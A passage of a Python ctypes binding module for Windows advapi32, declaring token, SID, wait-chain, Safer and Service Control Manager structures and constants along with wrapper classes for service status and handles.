349 SecurityDelegation = 3
350
351 SECURITY_IMPERSONATION_LEVEL = ctypes.c_int
352 PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL)
353
354 # typedef struct _SID_AND_ATTRIBUTES {
355 # PSID Sid;
356 # DWORD Attributes;
357 # } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;
358 class SID_AND_ATTRIBUTES(Structure):
359 _fields_ = [
360 ("Sid", PSID),
361 ("Attributes", DWORD),
362 ]
363 PSID_AND_ATTRIBUTES = POINTER(SID_AND_ATTRIBUTES)
364
365 # typedef struct _TOKEN_USER {
366 # SID_AND_ATTRIBUTES User;
367 # } TOKEN_USER, *PTOKEN_USER;
368 class TOKEN_USER(Structure):
369 _fields_ = [
370 ("User", SID_AND_ATTRIBUTES),
371 ]
372 PTOKEN_USER = POINTER(TOKEN_USER)
373
374 # typedef struct _TOKEN_MANDATORY_LABEL {
375 # SID_AND_ATTRIBUTES Label;
376 # } TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL;
377 class TOKEN_MANDATORY_LABEL(Structure):
378 _fields_ = [
379 ("Label", SID_AND_ATTRIBUTES),
380 ]
381 PTOKEN_MANDATORY_LABEL = POINTER(TOKEN_MANDATORY_LABEL)
382
383 # typedef struct _TOKEN_OWNER {
384 # PSID Owner;
385 # } TOKEN_OWNER, *PTOKEN_OWNER;
386 class TOKEN_OWNER(Structure):
387 _fields_ = [
388 ("Owner", PSID),
389 ]
390 PTOKEN_OWNER = POINTER(TOKEN_OWNER)
391
392 # typedef struct _TOKEN_PRIMARY_GROUP {
393 # PSID PrimaryGroup;
394 # } TOKEN_PRIMARY_GROUP, *PTOKEN_PRIMARY_GROUP;
395 class TOKEN_PRIMARY_GROUP(Structure):
396 _fields_ = [
397 ("PrimaryGroup", PSID),
398 ]
399 PTOKEN_PRIMARY_GROUP = POINTER(TOKEN_PRIMARY_GROUP)
400
401 # typedef struct _TOKEN_APPCONTAINER_INFORMATION {
402 # PSID TokenAppContainer;
403 # } TOKEN_APPCONTAINER_INFORMATION, *PTOKEN_APPCONTAINER_INFORMATION;
404 class TOKEN_APPCONTAINER_INFORMATION(Structure):
405 _fields_ = [
406 ("TokenAppContainer", PSID),
407 ]
408 PTOKEN_APPCONTAINER_INFORMATION = POINTER(TOKEN_APPCONTAINER_INFORMATION)
409
410 # typedef struct _TOKEN_ORIGIN {
411 # LUID OriginatingLogonSession;
412 # } TOKEN_ORIGIN, *PTOKEN_ORIGIN;
413 class TOKEN_ORIGIN(Structure):
414 _fields_ = [
415 ("OriginatingLogonSession", LUID),
416 ]
417 PTOKEN_ORIGIN = POINTER(TOKEN_ORIGIN)
418
419 # typedef struct _TOKEN_LINKED_TOKEN {
420 # HANDLE LinkedToken;
421 # } TOKEN_LINKED_TOKEN, *PTOKEN_LINKED_TOKEN;
422 class TOKEN_LINKED_TOKEN(Structure):
423 _fields_ = [
424 ("LinkedToken", HANDLE),
425 ]
426 PTOKEN_LINKED_TOKEN = POINTER(TOKEN_LINKED_TOKEN)
427
428 # typedef struct _TOKEN_STATISTICS {
429 # LUID TokenId;
430 # LUID AuthenticationId;
431 # LARGE_INTEGER ExpirationTime;
432 # TOKEN_TYPE TokenType;
433 # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
434 # DWORD DynamicCharged;
435 # DWORD DynamicAvailable;
436 # DWORD GroupCount;
437 # DWORD PrivilegeCount;
438 # LUID ModifiedId;
439 # } TOKEN_STATISTICS, *PTOKEN_STATISTICS;
440 class TOKEN_STATISTICS(Structure):
441 _fields_ = [
442 ("TokenId", LUID),
443 ("AuthenticationId", LUID),
444 ("ExpirationTime", LONGLONG), # LARGE_INTEGER
445 ("TokenType", TOKEN_TYPE),
446 ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL),
447 ("DynamicCharged", DWORD),
448 ("DynamicAvailable", DWORD),
449 ("GroupCount", DWORD),
450 ("PrivilegeCount", DWORD),
451 ("ModifiedId", LUID),
452 ]
453 PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS)
454
455 #--- SID_NAME_USE enum --------------------------------------------------------
456
457 # typedef enum _SID_NAME_USE {
458 # SidTypeUser = 1,
459 # SidTypeGroup,
460 # SidTypeDomain,
461 # SidTypeAlias,
462 # SidTypeWellKnownGroup,
463 # SidTypeDeletedAccount,
464 # SidTypeInvalid,
465 # SidTypeUnknown,
466 # SidTypeComputer,
467 # SidTypeLabel
468 # } SID_NAME_USE, *PSID_NAME_USE;
469
470 SidTypeUser = 1
471 SidTypeGroup = 2
472 SidTypeDomain = 3
473 SidTypeAlias = 4
474 SidTypeWellKnownGroup = 5
475 SidTypeDeletedAccount = 6
476 SidTypeInvalid = 7
477 SidTypeUnknown = 8
478 SidTypeComputer = 9
479 SidTypeLabel = 10
480
481 #--- WAITCHAIN_NODE_INFO structure and types ----------------------------------
482
483 WCT_MAX_NODE_COUNT = 16
484 WCT_OBJNAME_LENGTH = 128
485 WCT_ASYNC_OPEN_FLAG = 1
486 WCTP_OPEN_ALL_FLAGS = WCT_ASYNC_OPEN_FLAG
487 WCT_OUT_OF_PROC_FLAG = 1
488 WCT_OUT_OF_PROC_COM_FLAG = 2
489 WCT_OUT_OF_PROC_CS_FLAG = 4
490 WCTP_GETINFO_ALL_FLAGS = WCT_OUT_OF_PROC_FLAG | WCT_OUT_OF_PROC_COM_FLAG | WCT_OUT_OF_PROC_CS_FLAG
491
492 HWCT = LPVOID
493
494 # typedef enum _WCT_OBJECT_TYPE
495 # {
496 # WctCriticalSectionType = 1,
497 # WctSendMessageType,
498 # WctMutexType,
499 # WctAlpcType,
500 # WctComType,
501 # WctThreadWaitType,
502 # WctProcessWaitType,
503 # WctThreadType,
504 # WctComActivationType,
505 # WctUnknownType,
506 # WctMaxType
507 # } WCT_OBJECT_TYPE;
508
509 WCT_OBJECT_TYPE = DWORD
510
511 WctCriticalSectionType = 1
512 WctSendMessageType = 2
513 WctMutexType = 3
514 WctAlpcType = 4
515 WctComType = 5
516 WctThreadWaitType = 6
517 WctProcessWaitType = 7
518 WctThreadType = 8
519 WctComActivationType = 9
520 WctUnknownType = 10
521 WctMaxType = 11
522
523 # typedef enum _WCT_OBJECT_STATUS
524 # {
525 # WctStatusNoAccess = 1, // ACCESS_DENIED for this object
526 # WctStatusRunning, // Thread status
527 # WctStatusBlocked, // Thread status
528 # WctStatusPidOnly, // Thread status
529 # WctStatusPidOnlyRpcss, // Thread status
530 # WctStatusOwned, // Dispatcher object status
531 # WctStatusNotOwned, // Dispatcher object status
532 # WctStatusAbandoned, // Dispatcher object status
533 # WctStatusUnknown, // All objects
534 # WctStatusError, // All objects
535 # WctStatusMax
536 # } WCT_OBJECT_STATUS;
537
538 WCT_OBJECT_STATUS = DWORD
539
540 WctStatusNoAccess = 1 # ACCESS_DENIED for this object
541 WctStatusRunning = 2 # Thread status
542 WctStatusBlocked = 3 # Thread status
543 WctStatusPidOnly = 4 # Thread status
544 WctStatusPidOnlyRpcss = 5 # Thread status
545 WctStatusOwned = 6 # Dispatcher object status
546 WctStatusNotOwned = 7 # Dispatcher object status
547 WctStatusAbandoned = 8 # Dispatcher object status
548 WctStatusUnknown = 9 # All objects
549 WctStatusError = 10 # All objects
550 WctStatusMax = 11
551
552 # typedef struct _WAITCHAIN_NODE_INFO {
553 # WCT_OBJECT_TYPE ObjectType;
554 # WCT_OBJECT_STATUS ObjectStatus;
555 # union {
556 # struct {
557 # WCHAR ObjectName[WCT_OBJNAME_LENGTH];
558 # LARGE_INTEGER Timeout;
559 # BOOL Alertable;
560 # } LockObject;
561 # struct {
562 # DWORD ProcessId;
563 # DWORD ThreadId;
564 # DWORD WaitTime;
565 # DWORD ContextSwitches;
566 # } ThreadObject;
567 # } ;
568 # }WAITCHAIN_NODE_INFO, *PWAITCHAIN_NODE_INFO;
569
570 class _WAITCHAIN_NODE_INFO_STRUCT_1(Structure):
571 _fields_ = [
572 ("ObjectName", WCHAR * WCT_OBJNAME_LENGTH),
573 ("Timeout", LONGLONG), # LARGE_INTEGER
574 ("Alertable", BOOL),
575 ]
576
577 class _WAITCHAIN_NODE_INFO_STRUCT_2(Structure):
578 _fields_ = [
579 ("ProcessId", DWORD),
580 ("ThreadId", DWORD),
581 ("WaitTime", DWORD),
582 ("ContextSwitches", DWORD),
583 ]
584
585 class _WAITCHAIN_NODE_INFO_UNION(Union):
586 _fields_ = [
587 ("LockObject", _WAITCHAIN_NODE_INFO_STRUCT_1),
588 ("ThreadObject", _WAITCHAIN_NODE_INFO_STRUCT_2),
589 ]
590
591 class WAITCHAIN_NODE_INFO(Structure):
592 _fields_ = [
593 ("ObjectType", WCT_OBJECT_TYPE),
594 ("ObjectStatus", WCT_OBJECT_STATUS),
595 ("u", _WAITCHAIN_NODE_INFO_UNION),
596 ]
597
598 PWAITCHAIN_NODE_INFO = POINTER(WAITCHAIN_NODE_INFO)
599
600 class WaitChainNodeInfo (object):
601 """
602 Represents a node in the wait chain.
603
604 It's a wrapper on the L{WAITCHAIN_NODE_INFO} structure.
605
606 The following members are defined only
607 if the node is of L{WctThreadType} type:
608 - C{ProcessId}
609 - C{ThreadId}
610 - C{WaitTime}
611 - C{ContextSwitches}
612
613 @see: L{GetThreadWaitChain}
614
615 @type ObjectName: unicode
616 @ivar ObjectName: Object name. May be an empty string.
617
618 @type ObjectType: int
619 @ivar ObjectType: Object type.
620 Should be one of the following values:
621 - L{WctCriticalSectionType}
622 - L{WctSendMessageType}
623 - L{WctMutexType}
624 - L{WctAlpcType}
625 - L{WctComType}
626 - L{WctThreadWaitType}
627 - L{WctProcessWaitType}
628 - L{WctThreadType}
629 - L{WctComActivationType}
630 - L{WctUnknownType}
631
632 @type ObjectStatus: int
633 @ivar ObjectStatus: Wait status.
634 Should be one of the following values:
635 - L{WctStatusNoAccess} I{(ACCESS_DENIED for this object)}
636 - L{WctStatusRunning} I{(Thread status)}
637 - L{WctStatusBlocked} I{(Thread status)}
638 - L{WctStatusPidOnly} I{(Thread status)}
639 - L{WctStatusPidOnlyRpcss} I{(Thread status)}
640 - L{WctStatusOwned} I{(Dispatcher object status)}
641 - L{WctStatusNotOwned} I{(Dispatcher object status)}
642 - L{WctStatusAbandoned} I{(Dispatcher object status)}
643 - L{WctStatusUnknown} I{(All objects)}
644 - L{WctStatusError} I{(All objects)}
645
646 @type ProcessId: int
647 @ivar ProcessId: Process global ID.
648
649 @type ThreadId: int
650 @ivar ThreadId: Thread global ID.
651
652 @type WaitTime: int
653 @ivar WaitTime: Wait time.
654
655 @type ContextSwitches: int
656 @ivar ContextSwitches: Number of context switches.
657 """
658
659 #@type Timeout: int
660 #@ivar Timeout: Currently not documented in MSDN.
661 #
662 #@type Alertable: bool
663 #@ivar Alertable: Currently not documented in MSDN.
664
665 # TODO: __repr__
666
667 def __init__(self, aStructure):
668 self.ObjectType = aStructure.ObjectType
669 self.ObjectStatus = aStructure.ObjectStatus
670 if self.ObjectType == WctThreadType:
671 self.ProcessId = aStructure.u.ThreadObject.ProcessId
672 self.ThreadId = aStructure.u.ThreadObject.ThreadId
673 self.WaitTime = aStructure.u.ThreadObject.WaitTime
674 self.ContextSwitches = aStructure.u.ThreadObject.ContextSwitches
675 self.ObjectName = u''
676 else:
677 self.ObjectName = aStructure.u.LockObject.ObjectName.value
678 #self.Timeout = aStructure.u.LockObject.Timeout
679 #self.Alertable = bool(aStructure.u.LockObject.Alertable)
680
681 class ThreadWaitChainSessionHANDLE (HANDLE):
682 """
683 Thread wait chain session handle.
684
685 Returned by L{OpenThreadWaitChainSession}.
686
687 @see: L{HANDLE}
688 """
689
690 def __init__(self, aHANDLE = None):
691 """
692 @type aHANDLE: int
693 @param aHANDLE: Win32 handle value.
694 """
695 super(ThreadWaitChainSessionHANDLE, self).__init__(aHANDLE,
696 bOwnership = True)
697
698 def _close(self):
699 if self.value is None:
700 raise ValueError("HANDLE was already closed!")
701 CloseThreadWaitChainSession(self.value)
702
703 def dup(self):
704 raise NotImplementedError()
705
706 def wait(self, dwMilliseconds = None):
707 raise NotImplementedError()
708
709 @property
710 def inherit(self):
711 return False
712
713 @property
714 def protectFromClose(self):
715 return False
716
717 #--- Privilege dropping -------------------------------------------------------
718
719 SAFER_LEVEL_HANDLE = HANDLE
720
721 SAFER_SCOPEID_MACHINE = 1
722 SAFER_SCOPEID_USER = 2
723
724 SAFER_LEVEL_OPEN = 1
725
726 SAFER_LEVELID_DISALLOWED = 0x00000
727 SAFER_LEVELID_UNTRUSTED = 0x01000
728 SAFER_LEVELID_CONSTRAINED = 0x10000
729 SAFER_LEVELID_NORMALUSER = 0x20000
730 SAFER_LEVELID_FULLYTRUSTED = 0x40000
731
732 SAFER_POLICY_INFO_CLASS = DWORD
733 SaferPolicyLevelList = 1
734 SaferPolicyEnableTransparentEnforcement = 2
735 SaferPolicyDefaultLevel = 3
736 SaferPolicyEvaluateUserScope = 4
737 SaferPolicyScopeFlags = 5
738
739 SAFER_TOKEN_NULL_IF_EQUAL = 1
740 SAFER_TOKEN_COMPARE_ONLY = 2
741 SAFER_TOKEN_MAKE_INERT = 4
742 SAFER_TOKEN_WANT_FLAGS = 8
743 SAFER_TOKEN_MASK = 15
744
745 #--- Service Control Manager types, constants and structures ------------------
746
747 SC_HANDLE = HANDLE
748
749 SERVICES_ACTIVE_DATABASEW = u"ServicesActive"
750 SERVICES_FAILED_DATABASEW = u"ServicesFailed"
751
752 SERVICES_ACTIVE_DATABASEA = "ServicesActive"
753 SERVICES_FAILED_DATABASEA = "ServicesFailed"
754
755 SC_GROUP_IDENTIFIERW = u'+'
756 SC_GROUP_IDENTIFIERA = '+'
757
758 SERVICE_NO_CHANGE = 0xffffffff
759
760 # enum SC_STATUS_TYPE
761 SC_STATUS_TYPE = ctypes.c_int
762 SC_STATUS_PROCESS_INFO = 0
763
764 # enum SC_ENUM_TYPE
765 SC_ENUM_TYPE = ctypes.c_int
766 SC_ENUM_PROCESS_INFO = 0
767
768 # Access rights
769 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
770
771 SERVICE_ALL_ACCESS = 0xF01FF
772 SERVICE_QUERY_CONFIG = 0x0001
773 SERVICE_CHANGE_CONFIG = 0x0002
774 SERVICE_QUERY_STATUS = 0x0004
775 SERVICE_ENUMERATE_DEPENDENTS = 0x0008
776 SERVICE_START = 0x0010
777 SERVICE_STOP = 0x0020
778 SERVICE_PAUSE_CONTINUE = 0x0040
779 SERVICE_INTERROGATE = 0x0080
780 SERVICE_USER_DEFINED_CONTROL = 0x0100
781
782 SC_MANAGER_ALL_ACCESS = 0xF003F
783 SC_MANAGER_CONNECT = 0x0001
784 SC_MANAGER_CREATE_SERVICE = 0x0002
785 SC_MANAGER_ENUMERATE_SERVICE = 0x0004
786 SC_MANAGER_LOCK = 0x0008
787 SC_MANAGER_QUERY_LOCK_STATUS = 0x0010
788 SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020
789
790 # CreateService() service start type
791 SERVICE_BOOT_START = 0x00000000
792 SERVICE_SYSTEM_START = 0x00000001
793 SERVICE_AUTO_START = 0x00000002
794 SERVICE_DEMAND_START = 0x00000003
795 SERVICE_DISABLED = 0x00000004
796
797 # CreateService() error control flags
798 SERVICE_ERROR_IGNORE = 0x00000000
799 SERVICE_ERROR_NORMAL = 0x00000001
800 SERVICE_ERROR_SEVERE = 0x00000002
801 SERVICE_ERROR_CRITICAL = 0x00000003
802
803 # EnumServicesStatusEx() service state filters
804 SERVICE_ACTIVE = 1
805 SERVICE_INACTIVE = 2
806 SERVICE_STATE_ALL = 3
807
808 # SERVICE_STATUS_PROCESS.dwServiceType
809 SERVICE_KERNEL_DRIVER = 0x00000001
810 SERVICE_FILE_SYSTEM_DRIVER = 0x00000002
811 SERVICE_ADAPTER = 0x00000004
812 SERVICE_RECOGNIZER_DRIVER = 0x00000008
813 SERVICE_WIN32_OWN_PROCESS = 0x00000010
814 SERVICE_WIN32_SHARE_PROCESS = 0x00000020
815 SERVICE_INTERACTIVE_PROCESS = 0x00000100
816
817 # EnumServicesStatusEx() service type filters (in addition to actual types)
818 SERVICE_DRIVER = 0x0000000B # SERVICE_KERNEL_DRIVER and SERVICE_FILE_SYSTEM_DRIVER
819 SERVICE_WIN32 = 0x00000030 # SERVICE_WIN32_OWN_PROCESS and SERVICE_WIN32_SHARE_PROCESS
820
821 # SERVICE_STATUS_PROCESS.dwCurrentState
822 SERVICE_STOPPED = 0x00000001
823 SERVICE_START_PENDING = 0x00000002
824 SERVICE_STOP_PENDING = 0x00000003
825 SERVICE_RUNNING = 0x00000004
826 SERVICE_CONTINUE_PENDING = 0x00000005
827 SERVICE_PAUSE_PENDING = 0x00000006
828 SERVICE_PAUSED = 0x00000007
829
830 # SERVICE_STATUS_PROCESS.dwControlsAccepted
831 SERVICE_ACCEPT_STOP = 0x00000001
832 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002
833 SERVICE_ACCEPT_SHUTDOWN = 0x00000004
834 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008
835 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010
836 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
837 SERVICE_ACCEPT_POWEREVENT = 0x00000040
838 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080
839 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100
840
841 # SERVICE_STATUS_PROCESS.dwServiceFlags
842 SERVICE_RUNS_IN_SYSTEM_PROCESS = 0x00000001
843
844 # Service control flags
845 SERVICE_CONTROL_STOP = 0x00000001
846 SERVICE_CONTROL_PAUSE = 0x00000002
847 SERVICE_CONTROL_CONTINUE = 0x00000003
848 SERVICE_CONTROL_INTERROGATE = 0x00000004
849 SERVICE_CONTROL_SHUTDOWN = 0x00000005
850 SERVICE_CONTROL_PARAMCHANGE = 0x00000006
851 SERVICE_CONTROL_NETBINDADD = 0x00000007
852 SERVICE_CONTROL_NETBINDREMOVE = 0x00000008
853 SERVICE_CONTROL_NETBINDENABLE = 0x00000009
854 SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A
855 SERVICE_CONTROL_DEVICEEVENT = 0x0000000B
856 SERVICE_CONTROL_HARDWAREPROFILECHANGE = 0x0000000C
857 SERVICE_CONTROL_POWEREVENT = 0x0000000D
858 SERVICE_CONTROL_SESSIONCHANGE = 0x0000000E
859
860 # Service control accepted bitmasks
861 SERVICE_ACCEPT_STOP = 0x00000001
862 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002
863 SERVICE_ACCEPT_SHUTDOWN = 0x00000004
864 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008
865 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010
866 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
867 SERVICE_ACCEPT_POWEREVENT = 0x00000040
868 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080
869 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100
870 SERVICE_ACCEPT_TIMECHANGE = 0x00000200
871 SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400
872 SERVICE_ACCEPT_USERMODEREBOOT = 0x00000800
873
874 # enum SC_ACTION_TYPE
875 SC_ACTION_NONE = 0
876 SC_ACTION_RESTART = 1
877 SC_ACTION_REBOOT = 2
878 SC_ACTION_RUN_COMMAND = 3
879
880 # QueryServiceConfig2
881 SERVICE_CONFIG_DESCRIPTION = 1
882 SERVICE_CONFIG_FAILURE_ACTIONS = 2
883
884 # typedef struct _SERVICE_STATUS {
885 # DWORD dwServiceType;
886 # DWORD dwCurrentState;
887 # DWORD dwControlsAccepted;
888 # DWORD dwWin32ExitCode;
889 # DWORD dwServiceSpecificExitCode;
890 # DWORD dwCheckPoint;
891 # DWORD dwWaitHint;
892 # } SERVICE_STATUS, *LPSERVICE_STATUS;
893 class SERVICE_STATUS(Structure):
894 _fields_ = [
895 ("dwServiceType", DWORD),
896 ("dwCurrentState", DWORD),
897 ("dwControlsAccepted", DWORD),
898 ("dwWin32ExitCode", DWORD),
899 ("dwServiceSpecificExitCode", DWORD),
900 ("dwCheckPoint", DWORD),
901 ("dwWaitHint", DWORD),
902 ]
903 LPSERVICE_STATUS = POINTER(SERVICE_STATUS)
904
905 # typedef struct _SERVICE_STATUS_PROCESS {
906 # DWORD dwServiceType;
907 # DWORD dwCurrentState;
908 # DWORD dwControlsAccepted;
909 # DWORD dwWin32ExitCode;
910 # DWORD dwServiceSpecificExitCode;
911 # DWORD dwCheckPoint;
912 # DWORD dwWaitHint;
913 # DWORD dwProcessId;
914 # DWORD dwServiceFlags;
915 # } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;
916 class SERVICE_STATUS_PROCESS(Structure):
917 _fields_ = SERVICE_STATUS._fields_ + [
918 ("dwProcessId", DWORD),
919 ("dwServiceFlags", DWORD),
920 ]
921 LPSERVICE_STATUS_PROCESS = POINTER(SERVICE_STATUS_PROCESS)
922
923 # typedef struct _ENUM_SERVICE_STATUS {
924 # LPTSTR lpServiceName;
925 # LPTSTR lpDisplayName;
926 # SERVICE_STATUS ServiceStatus;
927 # } ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
928 class ENUM_SERVICE_STATUSA(Structure):
929 _fields_ = [
930 ("lpServiceName", LPSTR),
931 ("lpDisplayName", LPSTR),
932 ("ServiceStatus", SERVICE_STATUS),
933 ]
934 class ENUM_SERVICE_STATUSW(Structure):
935 _fields_ = [
936 ("lpServiceName", LPWSTR),
937 ("lpDisplayName", LPWSTR),
938 ("ServiceStatus", SERVICE_STATUS),
939 ]
940 LPENUM_SERVICE_STATUSA = POINTER(ENUM_SERVICE_STATUSA)
941 LPENUM_SERVICE_STATUSW = POINTER(ENUM_SERVICE_STATUSW)
942
943 # typedef struct _ENUM_SERVICE_STATUS_PROCESS {
944 # LPTSTR lpServiceName;
945 # LPTSTR lpDisplayName;
946 # SERVICE_STATUS_PROCESS ServiceStatusProcess;
947 # } ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS;
948 class ENUM_SERVICE_STATUS_PROCESSA(Structure):
949 _fields_ = [
950 ("lpServiceName", LPSTR),
951 ("lpDisplayName", LPSTR),
952 ("ServiceStatusProcess", SERVICE_STATUS_PROCESS),
953 ]
954 class ENUM_SERVICE_STATUS_PROCESSW(Structure):
955 _fields_ = [
956 ("lpServiceName", LPWSTR),
957 ("lpDisplayName", LPWSTR),
958 ("ServiceStatusProcess", SERVICE_STATUS_PROCESS),
959 ]
960 LPENUM_SERVICE_STATUS_PROCESSA = POINTER(ENUM_SERVICE_STATUS_PROCESSA)
961 LPENUM_SERVICE_STATUS_PROCESSW = POINTER(ENUM_SERVICE_STATUS_PROCESSW)
962
963 class ServiceStatus(object):
964 """
965 Wrapper for the L{SERVICE_STATUS} structure.
966 """
967
968 def __init__(self, raw):
969 """
970 @type raw: L{SERVICE_STATUS}
971 @param raw: Raw structure for this service status data.
972 """
973 self.ServiceType = raw.dwServiceType
974 self.CurrentState = raw.dwCurrentState
975 self.ControlsAccepted = raw.dwControlsAccepted
976 self.Win32ExitCode = raw.dwWin32ExitCode
977 self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode
978 self.CheckPoint = raw.dwCheckPoint
979 self.WaitHint = raw.dwWaitHint
980
981 class ServiceStatusProcess(object):
982 """
983 Wrapper for the L{SERVICE_STATUS_PROCESS} structure.
984 """
985
986 def __init__(self, raw):
987 """
988 @type raw: L{SERVICE_STATUS_PROCESS}
989 @param raw: Raw structure for this service status data.
990 """
991 self.ServiceType = raw.dwServiceType
992 self.CurrentState = raw.dwCurrentState
993 self.ControlsAccepted = raw.dwControlsAccepted
994 self.Win32ExitCode = raw.dwWin32ExitCode
995 self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode
996 self.CheckPoint = raw.dwCheckPoint
997 self.WaitHint = raw.dwWaitHint
998 self.ProcessId = raw.dwProcessId
999 self.ServiceFlags = raw.dwServiceFlags
1000
1001 class ServiceStatusEntry(object):
1002 """
1003 Service status entry returned by L{EnumServicesStatus}.
1004 """
1005
1006 def __init__(self, raw):
1007 """
1008 @type raw: L{ENUM_SERVICE_STATUSA} or L{ENUM_SERVICE_STATUSW}
1009 @param raw: Raw structure for this service status entry.
1010 """
1011 self.ServiceName = raw.lpServiceName
1012 self.DisplayName = raw.lpDisplayName
1013 self.ServiceType = raw.ServiceStatus.dwServiceType
1014 self.CurrentState = raw.ServiceStatus.dwCurrentState
1015 self.ControlsAccepted = raw.ServiceStatus.dwControlsAccepted
1016 self.Win32ExitCode = raw.ServiceStatus.dwWin32ExitCode
1017 self.ServiceSpecificExitCode = raw.ServiceStatus.dwServiceSpecificExitCode
1018 self.CheckPoint = raw.ServiceStatus.dwCheckPoint
1019 self.WaitHint = raw.ServiceStatus.dwWaitHint
1020
1021 def __str__(self):
1022 output = []
1023 if self.ServiceType & SERVICE_INTERACTIVE_PROCESS:
1024 output.append("Interactive service")
1025 else:
1026 output.append("Service")
1027 if self.DisplayName:
1028 output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName))
1029 else:
1030 output.append("\"%s\"" % self.ServiceName)
1031 if self.CurrentState == SERVICE_CONTINUE_PENDING:
1032 output.append("is about to continue.")
1033 elif self.CurrentState == SERVICE_PAUSE_PENDING:
1034 output.append("is pausing.")
1035 elif self.CurrentState == SERVICE_PAUSED:
1036 output.append("is paused.")
1037 elif self.CurrentState == SERVICE_RUNNING:
1038 output.append("is running.")
1039 elif self.CurrentState == SERVICE_START_PENDING:
1040 output.append("is starting.")
1041 elif self.CurrentState == SERVICE_STOP_PENDING:
1042 output.append("is stopping.")
1043 elif self.CurrentState == SERVICE_STOPPED:
1044 output.append("is stopped.")
1045 return " ".join(output)
1046
1047 class ServiceStatusProcessEntry(object):
1048 """
1049 Service status entry returned by L{EnumServicesStatusEx}.
1050 """
1051
1052 def __init__(self, raw):
1053 """
1054 @type raw: L{ENUM_SERVICE_STATUS_PROCESSA} or L{ENUM_SERVICE_STATUS_PROCESSW}
1055 @param raw: Raw structure for this service status entry.
1056 """
1057 self.ServiceName = raw.lpServiceName
1058 self.DisplayName = raw.lpDisplayName
1059 self.ServiceType = raw.ServiceStatusProcess.dwServiceType
1060 self.CurrentState = raw.ServiceStatusProcess.dwCurrentState
1061 self.ControlsAccepted = raw.ServiceStatusProcess.dwControlsAccepted
1062 self.Win32ExitCode = raw.ServiceStatusProcess.dwWin32ExitCode
1063 self.ServiceSpecificExitCode = raw.ServiceStatusProcess.dwServiceSpecificExitCode
1064 self.CheckPoint = raw.ServiceStatusProcess.dwCheckPoint
1065 self.WaitHint = raw.ServiceStatusProcess.dwWaitHint
1066 self.ProcessId = raw.ServiceStatusProcess.dwProcessId
1067 self.ServiceFlags = raw.ServiceStatusProcess.dwServiceFlags
1068
1069 def __str__(self):
1070 output = []
1071 if self.ServiceType & SERVICE_INTERACTIVE_PROCESS:
1072 output.append("Interactive service ")
1073 else:
1074 output.append("Service ")
1075 if self.DisplayName:
1076 output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName))
1077 else:
1078 output.append("\"%s\"" % self.ServiceName)
1079 if self.CurrentState == SERVICE_CONTINUE_PENDING:
1080 output.append(" is about to continue")
1081 elif self.CurrentState == SERVICE_PAUSE_PENDING:
1082 output.append(" is pausing")
1083 elif self.CurrentState == SERVICE_PAUSED:
1084 output.append(" is paused")
1085 elif self.CurrentState == SERVICE_RUNNING:
1086 output.append(" is running")
1087 elif self.CurrentState == SERVICE_START_PENDING:
1088 output.append(" is starting")
1089 elif self.CurrentState == SERVICE_STOP_PENDING:
1090 output.append(" is stopping")
1091 elif self.CurrentState == SERVICE_STOPPED:
1092 output.append(" is stopped")
1093 if self.ProcessId:
1094 output.append(" at process %d" % self.ProcessId)
1095 output.append(".")
1096 return "".join(output)
1097
1098 #--- HANDLE wrappers ----------------------------------------------------------
1099
1100 # XXX maybe add functions related to the tokens here?
1101 class TokenHandle (HANDLE):
1102 """
1103 Access token handle.
1104
1105 @see: L{HANDLE}
1106 """
1107 pass
1108
1109 class RegistryKeyHandle (UserModeHandle):
1110 """
1111 Registry key handle.
1112 """
1113
1114 _TYPE = HKEY
1115
1116 def _close(self):
1117 RegCloseKey(self.value)
1118
1119 class SaferLevelHandle (UserModeHandle):
1120 """
1121 Safer level handle.
1122
1123 @see: U{http://msdn.microsoft.com/en-us/library/ms722425(VS.85).aspx}
1124 """
1125
1126 _TYPE = SAFER_LEVEL_HANDLE
1127
1128 def _close(self):
1129 SaferCloseLevel(self.value)
1130
1131 class ServiceHandle (UserModeHandle):
1132 """
1133 Service handle.
1134
1135 @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684330(v=vs.85).aspx}
1136 """
1137
1138 _TYPE = SC_HANDLE
1139
1140 def _close(self):
1141 CloseServiceHANDLE(self.value)
1142
1143 class ServiceControlManagerHandle (UserModeHandle):
1144 """
1145 Service Control Manager (SCM) handle.
1146
1147 @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx}
1148 """
1149
1150 _TYPE = SC_HANDLE
1151
1152 def _close(self):
1153 CloseServiceHANDLE(self.value)
1154
1155 #--- advapi32.dll -------------------------------------------------------------
1156
1157 # BOOL WINAPI GetUserName(
1158 # __out LPTSTR lpBuffer,
1159 # __inout LPDWORD lpnSize
1160 # );
1161 def GetUserNameA():
1162 _GetUserNameA = windll.advapi32.GetUserNameA
1163 _GetUserNameA.argtypes = [LPSTR, LPDWORD]
1164 _GetUserNameA.restype = bool
1165
1166 nSize = DWORD(0)
